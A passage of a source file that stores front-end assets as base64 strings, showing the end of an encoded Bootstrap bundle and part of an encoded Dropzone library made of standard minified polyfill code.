QsQ29sbGFwc2U6cHQsRHJvcGRvd246aGksTW9kYWw6TmksT2ZmY2FudmFzOnppLFBvcG92ZXI6dW4sU2Nyb2xsU3B5OmJuLFRhYjprbixUb2FzdDpQbixUb29sdGlwOmNufX0pKTsKLy8jIHNvdXJjZU1hcHBpbmdVUkw9Ym9vdHN0cmFwLmJ1bmRsZS5taW4uanMubWFw', 'js-dropzone' => 'IWZ1bmN0aW9uKGUsdCl7aWYoIm9iamVjdCI9PXR5cGVvZiBleHBvcnRzJiYib2JqZWN0Ij09dHlwZW9mIG1vZHVsZSltb2R1bGUuZXhwb3J0cz10KCk7ZWxzZSBpZigiZnVuY3Rpb24iPT10eXBlb2YgZGVmaW5lJiZkZWZpbmUuYW1kKWRlZmluZShbXSx0KTtlbHNle3ZhciBuPXQoKTtmb3IodmFyIHIgaW4gbikoIm9iamVjdCI9PXR5cGVvZiBleHBvcnRzP2V4cG9ydHM6ZSlbcl09bltyXX19KHNlbGYsKGZ1bmN0aW9uKCl7cmV0dXJuIGZ1bmN0aW9uKCl7dmFyIGU9ezMwOTk6ZnVuY3Rpb24oZSl7ZS5leHBvcnRzPWZ1bmN0aW9uKGUpe2lmKCJmdW5jdGlvbiIhPXR5cGVvZiBlKXRocm93IFR5cGVFcnJvcihTdHJpbmcoZSkrIiBpcyBub3QgYSBmdW5jdGlvbiIpO3JldHVybiBlfX0sNjA3NzpmdW5jdGlvbihlLHQsbil7dmFyIHI9bigxMTEpO2UuZXhwb3J0cz1mdW5jdGlvbihlKXtpZighcihlKSYmbnVsbCE9PWUpdGhyb3cgVHlwZUVycm9yKCJDYW4ndCBzZXQgIitTdHJpbmcoZSkrIiBhcyBhIHByb3RvdHlwZSIpO3JldHVybiBlfX0sMTIyMzpmdW5jdGlvbihlLHQsbil7dmFyIHI9big1MTEyKSxpPW4oMzApLG89bigzMDcwKSxhPXIoInVuc2NvcGFibGVzIiksdT1BcnJheS5wcm90b3R5cGU7bnVsbD09dVthXSYmby5mKHUsYSx7Y29uZmlndXJhYmxlOiEwLHZhbHVlOmkobnVsbCl9KSxlLmV4cG9ydHM9ZnVuY3Rpb24oZSl7dVthXVtlXT0hMH19LDE1MzA6ZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcj1uKDg3MTApLmNoYXJBdDtlLmV4cG9ydHM9ZnVuY3Rpb24oZSx0LG4pe3JldHVybiB0KyhuP3IoZSx0KS5sZW5ndGg6MSl9fSw1Nzg3OmZ1bmN0aW9uKGUpe2UuZXhwb3J0cz1mdW5jdGlvbihlLHQsbil7aWYoIShlIGluc3RhbmNlb2YgdCkpdGhyb3cgVHlwZUVycm9yKCJJbmNvcnJlY3QgIisobj9uKyIgIjoiIikrImludm9jYXRpb24iKTtyZXR1cm4gZX19LDk2NzA6ZnVuY3Rpb24oZSx0LG4pe3ZhciByPW4oMTExKTtlLmV4cG9ydHM9ZnVuY3Rpb24oZSl7aWYoIXIoZSkpdGhyb3cgVHlwZUVycm9yKFN0cmluZyhlKSsiIGlzIG5vdCBhbiBvYmplY3QiKTtyZXR1cm4gZX19LDQwMTk6ZnVuY3Rpb24oZSl7ZS5leHBvcnRzPSJ1bmRlZmluZWQiIT10eXBlb2YgQXJyYXlCdWZmZXImJiJ1bmRlZmluZWQiIT10eXBlb2YgRGF0YVZpZXd9LDI2MDpmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO3ZhciByLGk9big0MDE5KSxvPW4oOTc4MSksYT1uKDc4NTQpLHU9bigxMTEpLHM9big2NjU2KSxsPW4oNjQ4KSxjPW4oODg4MCksZj1uKDEzMjApLHA9bigzMDcwKS5mLGg9big5NTE4KSxkPW4oNzY3NCksdj1uKDUxMTIpLHk9big5NzExKSxnPWEuSW50OEFycmF5LG09ZyYmZy5wcm90b3R5cGUsYj1hLlVpbnQ4Q2xhbXBlZEFycmF5LHg9YiYmYi5wcm90b3R5cGUsdz1nJiZoKGcpLEU9bSYmaChtKSxrPU9iamVjdC5wcm90b3R5cGUsQT1rLmlzUHJvdG90eXBlT2YsUz12KCJ0b1N0cmluZ1RhZyIpLEY9eSgiVFlQRURfQVJSQVlfVEFHIiksVD1pJiYhIWQmJiJPcGVyYSIhPT1sKGEub3BlcmEpLEM9ITEsTD17SW50OEFycmF5OjEsVWludDhBcnJheToxLFVpbnQ4Q2xhbXBlZEFycmF5OjEsSW50MTZBcnJheToyLFVpbnQxNkFycmF5OjIsSW50MzJBcnJheTo0LFVpbnQzMkFycmF5OjQsRmxvYXQzMkFycmF5OjQsRmxvYXQ2NEFycmF5Ojh9LFI9e0JpZ0ludDY0QXJyYXk6OCxCaWdVaW50NjRBcnJheTo4fSxJPWZ1bmN0aW9uKGUpe2lmKCF1KGUpKXJldHVybiExO3ZhciB0PWwoZSk7cmV0dXJuIHMoTCx0KXx8cyhSLHQpfTtmb3IociBpbiBMKWFbcl18fChUPSExKTtpZigoIVR8fCJmdW5jdGlvbiIhPXR5cGVvZiB3fHx3PT09RnVuY3Rpb24ucHJvdG90eXBlKSYmKHc9ZnVuY3Rpb24oKXt0aHJvdyBUeXBlRXJyb3IoIkluY29ycmVjdCBpbnZvY2F0aW9uIil9LFQpKWZvcihyIGluIEwpYVtyXSYmZChhW3JdLHcpO2lmKCghVHx8IUV8fEU9PT1rKSYmKEU9dy5wcm90b3R5cGUsVCkpZm9yKHIgaW4gTClhW3JdJiZkKGFbcl0ucHJvdG90eXBlLEUpO2lmKFQmJmgoeCkhPT1FJiZkKHgsRSksbyYmIXMoRSxTKSlmb3IociBpbiBDPSEwLHAoRSxTLHtnZXQ6ZnVuY3Rpb24oKXtyZXR1cm4gdSh0aGlzKT90aGlzW0ZdOnZvaWQgMH19KSxMKWFbcl0mJmMoYVtyXSxGLHIpO2UuZXhwb3J0cz17TkFUSVZFX0FSUkFZX0JVRkZFUl9WSUVXUzpULFRZUEVEX0FSUkFZX1RBRzpDJiZGLGFUeXBlZEFycmF5OmZ1bmN0aW9uKGUpe2lmKEkoZSkpcmV0dXJuIGU7dGhyb3cgVHlwZUVycm9yKCJUYXJnZXQgaXMgbm90IGEgdHlwZWQgYXJyYXkiKX0sYVR5cGVkQXJyYXlDb25zdHJ1Y3RvcjpmdW5jdGlvbihlKXtpZihkKXtpZihBLmNhbGwodyxlKSlyZXR1cm4gZX1lbHNlIGZvcih2YXIgdCBpbiBMKWlmKHMoTCxyKSl7dmFyIG49YVt0XTtpZihuJiYoZT09PW58fEEuY2FsbChuLGUpKSlyZXR1cm4gZX10aHJvdyBUeXBlRXJyb3IoIlRhcmdldCBpcyBub3QgYSB0eXBlZCBhcnJheSBjb25zdHJ1Y3RvciIpfSxleHBvcnRUeXBlZEFycmF5TWV0aG9kOmZ1bmN0aW9uKGUsdCxuKXtpZihvKXtpZihuKWZvcih2YXIgciBpbiBMKXt2YXIgaT1hW3JdO2kmJnMoaS5wcm90b3R5cGUsZSkmJmRlbGV0ZSBpLnByb3RvdHlwZVtlXX1FW2VdJiYhbnx8ZihFLGUsbj90OlQmJm1bZV18fHQpfX0sZXhwb3J0VHlwZWRBcnJheVN0YXRpY01ldGhvZDpmdW5jdGlvbihlLHQsbil7dmFyIHIsaTtpZihvKXtpZihkKXtpZihuKWZvcihyIGluIEwpKGk9YVtyXSkmJnMoaSxlKSYmZGVsZXRlIGlbZV07aWYod1tlXSYmIW4pcmV0dXJuO3RyeXtyZXR1cm4gZih3LGUsbj90OlQmJmdbZV18fHQpfWNhdGNoKGUpe319Zm9yKHIgaW4gTCkhKGk9YVtyXSl8fGlbZV0mJiFufHxmKGksZSx0KX19LGlzVmlldzpmdW5jdGlvbihlKXtpZighdShlKSlyZXR1cm4hMTt2YXIgdD1sKGUpO3JldHVybiJEYXRhVmlldyI9PT10fHxzKEwsdCl8fHMoUix0KX0saXNUeXBlZEFycmF5OkksVHlwZWRBcnJheTp3LFR5cGVkQXJyYXlQcm90b3R5cGU6RX19LDMzMzE6ZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcj1uKDc4NTQpLGk9big5NzgxKSxvPW4oNDAxOSksYT1uKDg4ODApLHU9bigyMjQ4KSxzPW4oNzI5MyksbD1uKDU3ODcpLGM9big5OTU4KSxmPW4oNzQ2NikscD1uKDcwNjcpLGg9bigxMTc5KSxkPW4oOTUxOCksdj1uKDc2NzQpLHk9big4MDA2KS5mLGc9bigzMDcwKS5mLG09bigxMjg1KSxiPW4oODAwMykseD1uKDk5MDkpLHc9eC5nZXQsRT14LnNldCxrPSJBcnJheUJ1ZmZlciIsQT0iRGF0YVZpZXciLFM9Ildyb25nIGluZGV4IixGPXIuQXJyYXlCdWZmZXIsVD1GLEM9ci5EYXRhVmlldyxMPUMmJkMucHJvdG90eXBlLFI9T2JqZWN0LnByb3RvdHlwZSxJPXIuUmFuZ2VFcnJvcixVPWgucGFjayxPPWgudW5wYWNrLF89ZnVuY3Rpb24oZSl7cmV0dXJuWzI1NSZlXX0sTT1mdW5jdGlvbihlKXtyZXR1cm5bMjU1JmUsZT4+OCYyNTVdfSx6PWZ1bmN0aW9uKGUpe3JldHVyblsyNTUmZSxlPj44JjI1NSxlPj4xNiYyNTUsZT4+MjQmMjU1XX0sUD1mdW5jdGlvbihlKXtyZXR1cm4gZVszXTw8MjR8ZVsyXTw8MTZ8ZVsxXTw8OHxlWzBdfSxqPWZ1bmN0aW9uKGUpe3JldHVybiBVKGUsMjMsNCl9LEQ9ZnVuY3Rpb24oZSl7cmV0dXJuIFUoZSw1Miw4KX0sTj1mdW5jdGlvbihlLHQpe2coZS5wcm90b3R5cGUsdCx7Z2V0OmZ1bmN0aW9uKCl7cmV0dXJuIHcodGhpcylbdF19fSl9LEI9ZnVuY3Rpb24oZSx0LG4scil7dmFyIGk9cChuKSxvPXcoZSk7aWYoaSt0Pm8uYnl0ZUxlbmd0aCl0aHJvdyBJKFMpO3ZhciBhPXcoby5idWZmZXIpLmJ5dGVzLHU9aStvLmJ5dGVPZmZzZXQscz1hLnNsaWNlKHUsdSt0KTtyZXR1cm4gcj9zOnMucmV2ZXJzZSgpfSxxPWZ1bmN0aW9uKGUsdCxuLHIsaSxvKXt2YXIgYT1wKG4pLHU9dyhlKTtpZihhK3Q+dS5ieXRlTGVuZ3RoKXRocm93IEkoUyk7Zm9yKHZhciBzPXcodS5idWZmZXIpLmJ5dGVzLGw9YSt1LmJ5dGVPZmZzZXQsYz1yKCtpKSxmPTA7Zjx0O2YrKylzW2wrZl09Y1tvP2Y6dC1mLTFdfTtpZihvKXtpZighcygoZnVuY3Rpb24oKXtGKDEpfSkpfHwhcygoZnVuY3Rpb24oKXtuZXcgRigtMSl9KSl8fHMoKGZ1bmN0aW9uKCl7cmV0dXJuIG5ldyBGLG5ldyBGKDEuNSksbmV3IEYoTmFOKSxGLm5hbWUhPWt9KSkpe2Zvcih2YXIgVyxIPShUPWZ1bmN0aW9uKGUpe3JldHVybiBsKHRoaXMsVCksbmV3IEYocChlKSl9KS5wcm90b3R5cGU9Ri5wcm90b3R5cGUsWT15KEYpLEc9MDtZLmxlbmd0aD5HOykoVz1ZW0crK10paW4gVHx8YShULFcsRltXXSk7SC5jb25zdHJ1Y3Rvcj1UfXYmJmQoTCkhPT1SJiZ2KEwsUik7dmFyIFE9bmV3IEMobmV3IFQoMikpLCQ9TC5zZXRJbnQ4O1Euc2V0SW50OCgwLDIxNDc0ODM2NDgpLFEuc2V0SW50OCgxLDIxNDc0ODM2NDkpLCFRLmdldEludDgoMCkmJlEuZ2V0SW50OCgxKXx8dShMLHtzZXRJbnQ4OmZ1bmN0aW9uKGUsdCl7JC5jYWxsKHRoaXMsZSx0PDwyND4+MjQpfSxzZXRVaW50ODpmdW5jdGlvbihlLHQpeyQuY2FsbCh0aGlzLGUsdDw8MjQ+PjI0KX19LHt1bnNhZmU6ITB9KX1lbHNlIFQ9ZnVuY3Rpb24oZSl7bCh0aGlzLFQsayk7dmFyIHQ9cChlKTtFKHRoaXMse2J5dGVzOm0uY2FsbChuZXcgQXJyYXkodCksMCksYnl0ZUxlbmd0aDp0fSksaXx8KHRoaXMuYnl0ZUxlbmd0aD10KX0sQz1mdW5jdGlvbihlLHQsbil7bCh0aGlzLEMsQSksbChlLFQsQSk7dmFyIHI9dyhlKS5ieXRlTGVuZ3RoLG89Yyh0KTtpZihvPDB8fG8+cil0aHJvdyBJKCJXcm9uZyBvZmZzZXQiKTtpZihvKyhuPXZvaWQgMD09PW4/ci1vOmYobikpPnIpdGhyb3cgSSgiV3JvbmcgbGVuZ3RoIik7RSh0aGlzLHtidWZmZXI6ZSxieXRlTGVuZ3RoOm4sYnl0ZU9mZnNldDpvfSksaXx8KHRoaXMuYnVmZmVyPWUsdGhpcy5ieXRlTGVuZ3RoPW4sdGhpcy5ieXRlT2Zmc2V0PW8pfSxpJiYoTihULCJieXRlTGVuZ3RoIiksTihDLCJidWZmZXIiKSxOKEMsImJ5dGVMZW5ndGgiKSxOKEMsImJ5dGVPZmZzZXQiKSksdShDLnByb3RvdHlwZSx7Z2V0SW50ODpmdW5jdGlvbihlKXtyZXR1cm4gQih0aGlzLDEsZSlbMF08PDI0Pj4yNH0sZ2V0VWludDg6ZnVuY3Rpb24oZSl7cmV0dXJuIEIodGhpcywxLGUpWzBdfSxnZXRJbnQxNjpmdW5jdGlvbihlKXt2YXIgdD1CKHRoaXMsMixlLGFyZ3VtZW50cy5sZW5ndGg+MT9hcmd1bWVudHNbMV06dm9pZCAwKTtyZXR1cm4odFsxXTw8OHx0WzBdKTw8MTY+PjE2fSxnZXRVaW50MTY6ZnVuY3Rpb24oZSl7dmFyIHQ9Qih0aGlzLDIsZSxhcmd1bWVudHMubGVuZ3RoPjE/YXJndW1lbnRzWzFdOnZvaWQgMCk7cmV0dXJuIHRbMV08PDh8dFswXX0sZ2V0SW50MzI6ZnVuY3Rpb24oZSl7cmV0dXJuIFAoQih0aGlzLDQsZSxhcmd1bWVudHMubGVuZ3RoPjE/YXJndW1lbnRzWzFdOnZvaWQgMCkpfSxnZXRVaW50MzI6ZnVuY3Rpb24oZSl7cmV0dXJuIFAoQih0aGlzLDQsZSxhcmd1bWVudHMubGVuZ3RoPjE/YXJndW1lbnRzWzFdOnZvaWQgMCkpPj4+MH0sZ2V0RmxvYXQzMjpmdW5jdGlvbihlKXtyZXR1cm4gTyhCKHRoaXMsNCxlLGFyZ3VtZW50cy5sZW5ndGg+MT9hcmd1bWVudHNbMV06dm9pZCAwKSwyMyl9LGdldEZsb2F0NjQ6ZnVuY3Rpb24oZSl7cmV0dXJuIE8oQih0aGlzLDgsZSxhcmd1bWVudHMubGVuZ3RoPjE/YXJndW1lbnRzWzFdOnZvaWQgMCksNTIpfSxzZXRJbnQ4OmZ1bmN0aW9uKGUsdCl7cSh0aGlzLDEsZSxfLHQpfSxzZXRVaW50ODpmdW5jdGlvbihlLHQpe3EodGhpcywxLGUsXyx0KX0sc2V0SW50MTY6ZnVuY3Rpb24oZSx0KXtxKHRoaXMsMixlLE0sdCxhcmd1bWVudHMubGVuZ3RoPjI/YXJndW1lbnRzWzJdOnZvaWQgMCl9LHNldFVpbnQxNjpmdW5jdGlvbihlLHQpe3EodGhpcywyLGUsTSx0LGFyZ3VtZW50cy5sZW5ndGg+Mj9hcmd1bWVudHNbMl06dm9pZCAwKX0sc2V0SW50MzI6ZnVuY3Rpb24oZSx0KXtxKHRoaXMsNCxlLHosdCxhcmd1bWVudHMubGVuZ3RoPjI/YXJndW1lbnRzWzJdOnZvaWQgMCl9LHNldFVpbnQzMjpmdW5jdGlvbihlLHQpe3EodGhpcyw0LGUseix0LGFyZ3VtZW50cy5sZW5ndGg+Mj9hcmd1bWVudHNbMl06dm9pZCAwKX0sc2V0RmxvYXQzMjpmdW5jdGlvbihlLHQpe3EodGhpcyw0LGUsaix0LGFyZ3VtZW50cy5sZW5ndGg+Mj9hcmd1bWVudHNbMl06dm9pZCAwKX0sc2V0RmxvYXQ2NDpmdW5jdGlvbihlLHQpe3EodGhpcyw4LGUsRCx0LGFyZ3VtZW50cy5sZW5ndGg+Mj9hcmd1bWVudHNbMl06dm9pZCAwKX19KTtiKFQsayksYihDLEEpLGUuZXhwb3J0cz17QXJyYXlCdWZmZXI6VCxEYXRhVmlldzpDfX0sMTA0ODpmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO3ZhciByPW4oNzkwOCksaT1uKDE0MDApLG89big3NDY2KSxhPU1hdGgubWluO2UuZXhwb3J0cz1bXS5jb3B5V2l0aGlufHxmdW5jdGlvbihlLHQpe3ZhciBuPXIodGhpcyksdT1vKG4ubGVuZ3RoKSxzPWkoZSx1KSxsPWkodCx1KSxjPWFyZ3VtZW50cy5sZW5ndGg+Mj9hcmd1bWVudHNbMl06dm9pZCAwLGY9YSgodm9pZCAwPT09Yz91OmkoYyx1KSktbCx1LXMpLHA9MTtmb3IobDxzJiZzPGwrZiYmKHA9LTEsbCs9Zi0xLHMrPWYtMSk7Zi0tID4wOylsIGluIG4/bltzXT1uW2xdOmRlbGV0ZSBuW3NdLHMrPXAsbCs9cDtyZXR1cm4gbn19LDEyODU6ZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcj1uKDc5MDgpLGk9bigxNDAwKSxvPW4oNzQ2Nik7ZS5leHBvcnRzPWZ1bmN0aW9uKGUpe2Zvcih2YXIgdD1yKHRoaXMpLG49byh0Lmxlbmd0aCksYT1hcmd1bWVudHMubGVuZ3RoLHU9aShhPjE/YXJndW1lbnRzWzFdOnZvaWQgMCxuKSxzPWE+Mj9hcmd1bWVudHNbMl06dm9pZCAwLGw9dm9pZCAwPT09cz9uOmkocyxuKTtsPnU7KXRbdSsrXT1lO3JldHVybiB0fX0sODUzMzpmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO3ZhciByPW4oMjA5MikuZm9yRWFjaCxpPW4oOTM0MSkoImZvckVhY2giKTtlLmV4cG9ydHM9aT9bXS5mb3JFYWNoOmZ1bmN0aW9uKGUpe3JldHVybiByKHRoaXMsZSxhcmd1bWVudHMubGVuZ3RoPjE/YXJndW1lbnRzWzFdOnZvaWQgMCl9fSw4NDU3OmZ1bmN0aW9uKGUsdCxuKXsidXNlIHN0cmljdCI7dmFyIHI9big5OTc0KSxpPW4oNzkwOCksbz1uKDM0MTEpLGE9big3NjU5KSx1PW4oNzQ2Nikscz1uKDYxMzUpLGw9bigxMjQ2KTtlLmV4cG9ydHM9ZnVuY3Rpb24oZSl7dmFyIHQsbixjLGYscCxoLGQ9aShlKSx2PSJmdW5jdGlvbiI9PXR5cGVvZiB0aGlzP3RoaXM6QXJyYXkseT1hcmd1bWVudHMubGVuZ3RoLGc9eT4xP2FyZ3VtZW50c1sxXTp2b2lkIDAsbT12b2lkIDAhPT1nLGI9bChkKSx4PTA7aWYobSYmKGc9cihnLHk+Mj9hcmd1bWVudHNbMl06dm9pZCAwLDIpKSxudWxsPT1ifHx2PT1BcnJheSYmYShiKSlmb3Iobj1uZXcgdih0PXUoZC5sZW5ndGgpKTt0Png7eCsrKWg9bT9nKGRbeF0seCk6ZFt4XSxzKG4seCxoKTtlbHNlIGZvcihwPShmPWIuY2FsbChkKSkubmV4dCxuPW5ldyB2OyEoYz1wLmNhbGwoZikpLmRvbmU7eCsrKWg9bT9vKGYsZyxbYy52YWx1ZSx4XSwhMCk6Yy52YWx1ZSxzKG4seCxoKTtyZXR1cm4gbi5sZW5ndGg9eCxufX0sMTMxODpmdW5jdGlvbihlLHQsbil7dmFyIHI9big1NjU2KSxpPW4oNzQ2Niksbz1uKDE0MDApLGE9ZnVuY3Rpb24oZSl7cmV0dXJuIGZ1bmN0aW9uKHQsbixhKXt2YXIgdSxzPXIodCksbD1pKHMubGVuZ3RoKSxjPW8oYSxsKTtpZihlJiZuIT1uKXtmb3IoO2w+YzspaWYoKHU9c1tjKytdKSE9dSlyZXR1cm4hMH1lbHNlIGZvcig7bD5jO2MrKylpZigoZXx8YyBpbiBzKSYmc1tjXT09PW4pcmV0dXJuIGV8fGN8fDA7cmV0dXJuIWUmJi0xfX07ZS5leHBvcnRzPXtpbmNsdWRlczphKCEwKSxpbmRleE9mOmEoITEpfX0sMjA5MjpmdW5jdGlvbihlLHQsbil7dmFyIHI9big5OTc0KSxpPW4oODM2MSksbz1uKDc5MDgpLGE9big3NDY2KSx1PW4oNTQxNykscz1bXS5wdXNoLGw9ZnVuY3Rpb24oZSl7dmFyIHQ9MT09ZSxuPTI9PWUsbD0zPT1lLGM9ND09ZSxmPTY9PWUscD03PT1lLGg9NT09ZXx8ZjtyZXR1cm4gZnVuY3Rpb24oZCx2LHksZyl7Zm9yKHZhciBtLGIseD1vKGQpLHc9aSh4KSxFPXIodix5LDMpLGs9YSh3Lmxlbmd0aCksQT0wLFM9Z3x8dSxGPXQ/UyhkLGspOm58fHA/UyhkLDApOnZvaWQgMDtrPkE7QSsrKWlmKChofHxBIGluIHcpJiYoYj1FKG09d1tBXSxBLHgpLGUpKWlmKHQpRltBXT1iO2Vsc2UgaWYoYilzd2l0Y2goZSl7Y2FzZSAzOnJldHVybiEwO2Nhc2UgNTpyZXR1cm4gbTtjYXNlIDY6cmV0dXJuIEE7Y2FzZSAyOnMuY2FsbChGLG0pfWVsc2Ugc3dpdGNoKGUpe2Nhc2UgNDpyZXR1cm4hMTtjYXNlIDc6cy5jYWxsKEYsbSl9cmV0dXJuIGY/LTE6bHx8Yz9jOkZ9fTtlLmV4cG9ydHM9e2ZvckVhY2g6bCgwKSxtYXA6bCgxKSxmaWx0ZXI6bCgyKSxzb21lOmwoMyksZXZlcnk6bCg0KSxmaW5kOmwoNSksZmluZEluZGV4OmwoNiksZmlsdGVyT3V0OmwoNyl9fSw2NTgzOmZ1bmN0aW9uKGUsdCxuKXsidXNlIHN0cmljdCI7dmFyIHI9big1NjU2KSxpPW4oOTk1OCksbz1uKDc0NjYpLGE9big5MzQxKSx1PU1hdGgubWluLHM9W10ubGFzdEluZGV4T2YsbD0hIXMmJjEvWzFdLmxhc3RJbmRleE9mKDEsLTApPDAsYz1hKCJsYXN0SW5kZXhPZiIpLGY9bHx8IWM7ZS5leHBvcnRzPWY/ZnVuY3Rpb24oZSl7aWYobClyZXR1cm4gcy5hcHBseSh0aGlzLGFyZ3VtZW50cyl8fDA7dmFyIHQ9cih0aGlzKSxuPW8odC5sZW5ndGgpLGE9bi0xO2Zvcihhcmd1bWVudHMubGVuZ3RoPjEmJihhPXUoYSxpKGFyZ3VtZW50c1sxXSkpKSxhPDAmJihhPW4rYSk7YT49MDthLS0paWYoYSBpbiB0JiZ0W2FdPT09ZSlyZXR1cm4gYXx8MDtyZXR1cm4tMX06c30sMTE5NDpmdW5jdGlvbihlLHQsbil7dmFyIHI9big3MjkzKSxpPW4oNTExMiksbz1uKDczOTIpLGE9aSgic3BlY2llcyIpO2UuZXhwb3J0cz1mdW5jdGlvbihlKXtyZXR1cm4gbz49NTF8fCFyKChmdW5jdGlvbigpe3ZhciB0PVtdO3JldHVybih0LmNvbnN0cnVjdG9yPXt9KVthXT1mdW5jdGlvbigpe3JldHVybntmb286MX19LDEhPT10W2VdKEJvb2xlYW4pLmZvb30pKX19LDkzNDE6ZnVuY3Rpb24oZSx0LG4peyJ1c2Ugc3RyaWN0Ijt2YXIgcj1uKDcyOTMpO2UuZXhwb3J0cz1mdW5jdGlvbihlLHQpe3ZhciBuPVtdW2VdO3JldHVybiEhbiYmcigoZnVuY3Rpb24oKXtuLmNhbGwobnVsbCx0fHxmdW5jdGlvbigpe3Rocm93IDF9LDEpfSkpfX0sMzY3MTpmdW5jdGlvbihlLHQsbil7dmFyIHI9bigzMDk5KSxpPW4oNzkwOCksbz1uKDgzNjEpLGE9big3NDY2KSx1PWZ1bmN0aW9uKGUpe3JldHVybiBmdW5jdGlvbih0LG4sdSxzKXtyKG4pO3ZhciBsPWkodCksYz1vKGwpLGY9YShsLmxlbmd0aCkscD1lP2YtMTowLGg9ZT8tMToxO2lmKHU8Milmb3IoOzspe2lmKHAgaW4gYyl7cz1jW3BdLHArPWg7YnJlYWt9aWYocCs9aCxlP3A8MDpmPD1wKXRocm93IFR5cGVFcnJvcigiUmVkdWNlIG9mIGVtcHR5IGFycmF5IHdpdGggbm8gaW5pdGlhbCB2YWx1ZSIpfWZvcig7ZT9wPj0wOmY+cDtwKz1oKXAgaW4gYyYmKHM9bihzLGNbcF0scCxsKSk7cmV0dXJuIHN9fTtlLmV4cG9ydHM9e2xlZnQ6dSghMSkscmlnaHQ6dSghMCl9fSw1NDE3OmZ1bmN0aW9uKGUsdCxuKXt2YXIgcj1uKDExMSksaT1uKDMxNTcpLG89big1MTEyKSgic3BlY2llcyIpO2UuZXhwb3J0cz1mdW5jdGlvbihlLHQpe3ZhciBuO3JldHVybiBpKGUpJiYoImZ1bmN0aW9uIiE9dHlwZW9mKG49ZS5jb25zdHJ1Y3Rvcil8fG4hPT1BcnJheSYmIWkobi5wcm90b3R5cGUpP3IobikmJm51bGw9PT0obj1uW29dKSYmKG49dm9pZCAwKTpuPXZvaWQgMCksbmV3KHZvaWQgMD09PW4/QXJyYXk6bikoMD09PXQ/MDp0KX19LDM0MTE6ZnVuY3Rpb24oZSx0LG4pe3ZhciByPW4oOTY3MCksaT1uKDkyMTIpO2UuZXhwb3J0cz1mdW5jdGlvbihlLHQsbixvKXt0cnl7cmV0dXJuIG8/dChyKG4pWzBdLG5bMV0pOnQobil9Y2F0Y2godCl7dGhyb3cgaShlKSx0fX19LDcwNzI6ZnVuY3Rpb24oZSx0LG4pe3ZhciByPW4oNTExMikoIml0ZXJhdG9yIiksaT0hMTt0cnl7dmFyIG89MCxhPXtuZXh0OmZ1bmN0aW9uKCl7cmV0dXJue2RvbmU6ISFvKyt9fSxyZXR1cm46ZnVuY3Rpb24oKXtpPSEwfX07YVtyXT1mdW5jdGlvbigpe3JldHVybiB0aGlzfSxBcnJheS5mcm9tKGEsKGZ1bmN0aW9uKCl7dGhyb3cgMn0pKX1jYXRjaChlKXt9ZS5leHBvcnRzPWZ1bmN0aW9uKGUsdCl7aWYoIXQmJiFpKXJldHVybiExO3ZhciBuPSExO3RyeXt2YXIgbz17fTtvW3JdPWZ1bmN0aW9uKCl7cmV0dXJue25leHQ6ZnVuY3Rpb24oKXtyZXR1cm57ZG9uZTpuPSEwfX19fSxlKG8pfWNhdGNoKGUpe31yZXR1cm4gbn19LDQzMjY6ZnVuY3Rpb24oZSl7dmFyIHQ9e30udG9TdHJpbmc7ZS5leHBvcnRzPWZ1bmN0aW9uKGUpe3JldHVybiB0LmNhbGwoZSkuc2xpY2UoOCwtMSl9fSw2NDg6ZnVuY3Rpb24oZSx0LG4pe3ZhciByPW4oMTY5NCksaT1uKDQzMjYpLG89big1MTEyKSgidG9TdHJpbmdUYWciKSxhPSJBcmd1bWVudHMiPT1pKGZ1bmN0aW9uKCl7cmV0dXJuIGFyZ3VtZW50c30oKSk7ZS5leHBvcnRzPXI/aTpmdW5jdGlvbihlKXt2YXIgdCxuLHI7cmV0dXJuIHZvaWQgMD09PWU/IlVuZGVmaW5lZCI6bnVsbD09PWU/Ik51bGwiOiJzdHJpbmciPT10eXBlb2Yobj1mdW5jdGlvbihlLHQpe3RyeXtyZXR1cm4gZVt0XX1jYXRjaChlKXt9fSh0PU9iamVjdChlKSxvKSk/bjphP2kodCk6Ik9iamVjdCI9PShyPWkodCkpJiYiZnVuY3Rpb24iPT10eXBlb2YgdC5jYWxsZWU/IkFyZ3VtZW50cyI6cn19LDk5MjA6ZnVuY3Rpb24oZSx0LG4pe3ZhciByPW4oNjY1NiksaT1uKDM4ODcpLG89bigxMjM2KSxhPW4oMzA3MCk7ZS5leHBvcnRzPWZ1bmN0aW9uKGUsdCl7Zm9yKHZhciBuPWkodCksdT1hLmYscz1vLmYsbD0wO2w8bi5sZW5ndGg7bCsrKXt2YXIgYz1uW2xdO3IoZSxjKXx8dShlLGMscyh0LGMpKX19fSw4NTQ0OmZ1bmN0aW9uKGUsdCxuKXt2YXIgcj1uKDcyOTMpO2UuZXhwb3J0cz0hcigoZnVuY3Rpb24oKXtmdW5jdGlvbiBlKCl7fXJldHVybiBlLnByb3RvdHlwZS5jb25zdHJ1Y3Rvcj1udWxsLE9iamVjdC5nZXRQcm90b3R5cGVPZihuZXcgZSkhPT1lLnByb3RvdHlwZX0pKX0sNDk5NDpmdW5jdGlvbihlLHQsbil7InVzZSBzdHJpY3QiO3ZhciByPW4oMzM4MykuSXRlcmF0b3JQcm90b3R5cGUsaT1uKDMwKSxvPW4oOTExNCksYT1uKDgwMDMpLHU9big3NDk3KSxzPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXN9O2UuZXhwb3J0cz1mdW5jdGlvbihlLHQsbil7dmFyIGw9dCsiIEl0ZXJhdG9yIjtyZXR1cm4gZS5wcm90b3R5cGU9aShyLHtuZXh0Om8oMSxuKX0pLGEoZSxsLCExLCEwKSx1W2xdPXMsZX19LDg4ODA6ZnVuY3Rpb24oZSx0LG4pe3ZhciByPW4oOTc4MSksaT1uKDMwNzApLG89big5MTE0KTtlLmV4cG9ydHM9cj9mdW5jdGlvbihlLHQsbil7cmV0dXJuIGkuZihlLHQsbygxLG4pKX06ZnVuY3Rpb24oZSx0LG4pe3JldHVybiBlW3RdPW4sZX19LDkxMTQ6ZnVuY3Rpb24oZSl7ZS5leHBvcnRzPWZ1bmN0aW9uKGUsdCl7cmV0dXJue2VudW1lcmFibGU6ISgxJmUpLGNvbmZpZ3VyYWJsZTohKDImZSksd3JpdGFibGU6ISg0JmUpLHZhbHVlOnR9fX0sNjEzNTpmdW5jdGlvbihlLHQsbil7InVzZSBzd